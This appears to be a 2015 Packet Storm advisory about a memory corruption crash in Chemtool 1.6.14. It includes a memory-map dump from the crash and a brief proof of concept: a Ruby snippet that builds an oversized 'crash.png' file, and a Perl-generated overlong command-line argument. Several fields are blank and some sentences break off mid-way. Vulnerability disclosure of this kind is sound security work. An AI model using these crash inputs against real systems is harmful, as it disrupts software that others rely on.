Chemtool 1.6.14 Memory Corruption

Type packetstorm
Reporter Pablo Gonzalez
Modified 2015-02-09T00:00:00


                                            `Document Title:  
Chemtool 1.6.14 Memory Corruption Vulnerability  
Vendor Homepage:  
Abstract Advisory Information:  
Memory Corruption Vulnerability on Chemtool 1.6.14.  
Affected Product(s):  
Chemtool 1.6.14 or older  
Exploitation Technique:  
Severity Level:  
Technical Details & Description:  
A Memory Corruption Vulnerability is detected on Chemtool 1.6.14. An  
attacker can crash the software by using an input file.  
Also, an attacker can crash the software by entering a filename too long.  
b77a8000-b77a9000 r--s 00000000 08:01 152558  
b77a9000-b77aa000 r--s 00000000 00:15 209651 /run/user/1000/dconf/user  
b77aa000-b77bb000 r-xp 00000000 08:01 393480  
b77bb000-b77bc000 r--p 00010000 08:01 393480  
b77bc000-b77bd000 rw-p 00011000 08:01 393480  
b77bd000-b77be000 rwxp 00000000 00:00 0  
b77be000-b77bf000 r--p 00855000 08:01 274691  
b77bf000-b77c0000 r--p 00596000 08:01 274691  
b77c0000-b77c2000 rw-p 00000000 00:00 0  
b77c2000-b77c3000 r-xp 00000000 00:00 0 [vdso]  
b77c3000-b77e3000 r-xp 00000000 08:01 132074 /lib/i386-linux-gnu/  
b77e3000-b77e4000 r--p 0001f000 08:01 132074 /lib/i386-linux-gnu/  
b77e4000-b77e5000 rw-p 00020000 08:01 132074 /lib/i386-linux-gnu/  
bfeff000-bff21000 rw-p 00000000 00:00 0 [stack]  
Aborted (core dumped)  
Proof of Concept (PoC):  
This vulnerabilities can be exploited by local attackers with  
First test. Attacker can generate a malicious file (format .png).This file  
can produced a Stack Smashing.  
buf = "a"*3000  
filename = "crash.png"  
file = open(filename,'w')  
puts "file created!"  
Second test. Attacker can enter a filename too long. For example, this  
program needs recieve a parameter. If this parameter is too long, It will  
$chemtool $(perl -e 'print "A"x900')  
How to perform:  
1) You can test it with gdb. You attach this application.  
2) Run it, now, you can move "crash.png" file that we generated by our ruby  
script to the application. Also, you can run argv[1] with a long value.  
When you perform above steps so application will crash. Analyze it on gdb.  
Solution - Fix & Patch:  
Restrict working maximum size. I believe that this bug doesn't have  
Security Risk:  
The security risk of the vulnerability is estimated as medium because of  
the local crash method.  
Pablo González